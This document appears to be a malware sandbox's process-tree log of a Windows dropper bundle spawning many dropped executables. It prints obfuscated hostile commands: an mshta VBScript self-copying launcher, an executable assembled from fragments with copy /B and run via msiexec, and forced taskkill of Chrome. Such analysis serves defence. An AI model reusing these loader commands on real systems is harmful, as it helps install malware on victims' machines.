C:\Users\Admin\AppData\Local\Temp\is-22IMV.tmp\k8sVy1r0XhbFWqstPc38m0Zz.tmp"C:\Users\Admin\AppData\Local\Temp\is-22IMV.tmp\k8sVy1r0XhbFWqstPc38m0Zz.tmp" /SL5="$2059A,506127,422400,C:\Users\Admin\Pictures\Adobe Films\k8sVy1r0XhbFWqstPc38m0Zz.exe"9⤵PID:7680
-
C:\Users\Admin\AppData\Local\Temp\is-UTRML.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-UTRML.tmp\DYbALA.exe" /S /UID=270910⤵PID:8884
-
C:\Users\Admin\AppData\Local\Temp\a4-164eb-408-00eab-18a963a52b5cc\ZHimejymuci.exe"C:\Users\Admin\AppData\Local\Temp\a4-164eb-408-00eab-18a963a52b5cc\ZHimejymuci.exe"11⤵PID:6704
-
-
C:\Users\Admin\AppData\Local\Temp\9f-bedb9-1de-6ab9e-ef5a3c3ca350d\Dididyraevo.exe"C:\Users\Admin\AppData\Local\Temp\9f-bedb9-1de-6ab9e-ef5a3c3ca350d\Dididyraevo.exe"11⤵PID:9516
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sc5tbqzr.map\GcleanerEU.exe /eufive & exit12⤵PID:9148
-
C:\Users\Admin\AppData\Local\Temp\sc5tbqzr.map\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\sc5tbqzr.map\GcleanerEU.exe /eufive13⤵PID:9088
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\h40wuzxz.qqk\installer.exe /qn CAMPAIGN="654" & exit12⤵PID:7592
-
C:\Users\Admin\AppData\Local\Temp\h40wuzxz.qqk\installer.exeC:\Users\Admin\AppData\Local\Temp\h40wuzxz.qqk\installer.exe /qn CAMPAIGN="654"13⤵PID:6564
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wykrxq0a.paz\any.exe & exit12⤵PID:9440
-
C:\Users\Admin\AppData\Local\Temp\wykrxq0a.paz\any.exeC:\Users\Admin\AppData\Local\Temp\wykrxq0a.paz\any.exe13⤵PID:6796
-
C:\Users\Admin\AppData\Local\Temp\wykrxq0a.paz\any.exe"C:\Users\Admin\AppData\Local\Temp\wykrxq0a.paz\any.exe" -u14⤵PID:8680
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1yuqvmeq.vty\gcleaner.exe /mixfive & exit12⤵PID:7924
-
C:\Users\Admin\AppData\Local\Temp\1yuqvmeq.vty\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\1yuqvmeq.vty\gcleaner.exe /mixfive13⤵PID:5076
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ozzxcfcc.cp1\autosubplayer.exe /S & exit12⤵PID:8684
-
-
-
C:\Program Files\Mozilla Firefox\QEZUWEPYAX\foldershare.exe"C:\Program Files\Mozilla Firefox\QEZUWEPYAX\foldershare.exe" /VERYSILENT11⤵PID:6416
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\w2GedizU0Q7CIr_oBaYm1X_2.exe"C:\Users\Admin\Pictures\Adobe Films\w2GedizU0Q7CIr_oBaYm1X_2.exe"6⤵PID:6788
-
-
C:\Users\Admin\Pictures\Adobe Films\UbcOiGtkLyXWcOVYJZF0MH8T.exe"C:\Users\Admin\Pictures\Adobe Films\UbcOiGtkLyXWcOVYJZF0MH8T.exe"6⤵PID:6792
-
-
C:\Users\Admin\Pictures\Adobe Films\clNRjO7mXZYYMl2NIopL50Bt.exe"C:\Users\Admin\Pictures\Adobe Films\clNRjO7mXZYYMl2NIopL50Bt.exe"6⤵PID:6980
-
-
C:\Users\Admin\Pictures\Adobe Films\dZ2Xxywmk6onlGyrsUjeudIG.exe"C:\Users\Admin\Pictures\Adobe Films\dZ2Xxywmk6onlGyrsUjeudIG.exe"6⤵PID:6964
-
-
C:\Users\Admin\Pictures\Adobe Films\owouP4yuZDQcMeq2s13WdZPS.exe"C:\Users\Admin\Pictures\Adobe Films\owouP4yuZDQcMeq2s13WdZPS.exe"6⤵PID:7004
-
C:\Users\Admin\Pictures\Adobe Films\owouP4yuZDQcMeq2s13WdZPS.exe"C:\Users\Admin\Pictures\Adobe Films\owouP4yuZDQcMeq2s13WdZPS.exe"7⤵PID:6012
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1100 -s 5324⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2208
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19b4ef3b53293fe.exe4⤵PID:3628
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19761b3b8d9d.exe4⤵PID:4780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19c1338f41ab.exe4⤵PID:4252
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19c78ded4d176ac.exe4⤵PID:4140
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue19150ee2be694c8a4.exe /mixone4⤵PID:4972
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue193858933525b62.exe4⤵PID:3344
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19c78ded4d176ac.exeTue19c78ded4d176ac.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5100
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19b4ef3b53293fe.exeTue19b4ef3b53293fe.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4052 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵PID:8208
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
PID:9600
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19761b3b8d9d.exeTue19761b3b8d9d.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:392 -
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19761b3b8d9d.exeC:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19761b3b8d9d.exe2⤵
- Executes dropped EXE
PID:3064
-
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue193858933525b62.exeTue193858933525b62.exe1⤵
- Executes dropped EXE
PID:1644 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue193858933525b62.exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if """" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue193858933525b62.exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))2⤵PID:4696
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue193858933525b62.exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "" == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue193858933525b62.exe") do taskkill -iM "%~nXx" /f3⤵PID:1172
-
C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ4⤵
- Executes dropped EXE
PID:1748 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if ""-PyARgXd6fRp1GJRov7bdbpPssZBLJ "" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))5⤵PID:2236
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "-PyARgXd6fRp1GJRov7bdbpPssZBLJ " == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe") do taskkill -iM "%~nXx" /f6⤵PID:4160
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIpt: cLosE (cREatEObjEcT ( "wscript.sHeLl" ).Run ( "cMD.ExE /R ECHO | seT /P = ""MZ"" > F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+ y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E & Start msiexec -Y .\bENCc.E " , 0 ,TruE ) )5⤵PID:2088
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R ECHO | seT /P = "MZ" >F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E &Start msiexec -Y .\bENCc.E6⤵PID:5632
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECHO "7⤵PID:2080
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>F3U_R.J"7⤵PID:4904
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y .\bENCc.E7⤵PID:2572
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Tue193858933525b62.exe" /f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2388
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19f51bcd77a.exeC:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19f51bcd77a.exe1⤵
- Executes dropped EXE
PID:2136
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue195c40958f528163.exeC:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue195c40958f528163.exe1⤵
- Executes dropped EXE
PID:3756
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19879c4c0e.exe"C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19879c4c0e.exe" /SILENT1⤵
- Executes dropped EXE
PID:3112 -
C:\Users\Admin\AppData\Local\Temp\is-AMFHA.tmp\Tue19879c4c0e.tmp"C:\Users\Admin\AppData\Local\Temp\is-AMFHA.tmp\Tue19879c4c0e.tmp" /SL5="$300FA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19879c4c0e.exe" /SILENT2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1364
-
-
C:\Users\Admin\AppData\Local\Temp\is-JDOAD.tmp\Tue19879c4c0e.tmp"C:\Users\Admin\AppData\Local\Temp\is-JDOAD.tmp\Tue19879c4c0e.tmp" /SL5="$200FA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19879c4c0e.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4808
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19150ee2be694c8a4.exeTue19150ee2be694c8a4.exe /mixone1⤵
- Executes dropped EXE
PID:4788 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue19150ee2be694c8a4.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19150ee2be694c8a4.exe" & exit2⤵PID:5284
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue19150ee2be694c8a4.exe" /f3⤵
- Kills process with taskkill
PID:6440
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS06343B36\Tue19c1338f41ab.exeTue19c1338f41ab.exe1⤵
- Executes dropped EXE
PID:1588
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:1448 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4288
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:3768
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"1⤵PID:6128
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe"1⤵PID:5392
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\sDLt7s4YwCwTEpPHEw4eEzHG.exe"2⤵PID:3532
-
-
C:\Users\Admin\AppData\Roaming\wfgfechC:\Users\Admin\AppData\Roaming\wfgfech1⤵PID:4380
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5152 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:8136
-
-
C:\Users\Admin\AppData\Local\Temp\2C72.exeC:\Users\Admin\AppData\Local\Temp\2C72.exe1⤵PID:9844
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"2⤵PID:8360
-
-
C:\Users\Admin\AppData\Local\Temp\C505.exeC:\Users\Admin\AppData\Local\Temp\C505.exe1⤵PID:4256
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe1⤵PID:3368
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:1796
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:5804
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:9760
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CCA30EFA1F66879108CA77C8C4A9A725 C2⤵PID:5320
-
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:9172
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:7648
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:7736
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6848
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5404
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8644
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8228
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:8596 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:7212
-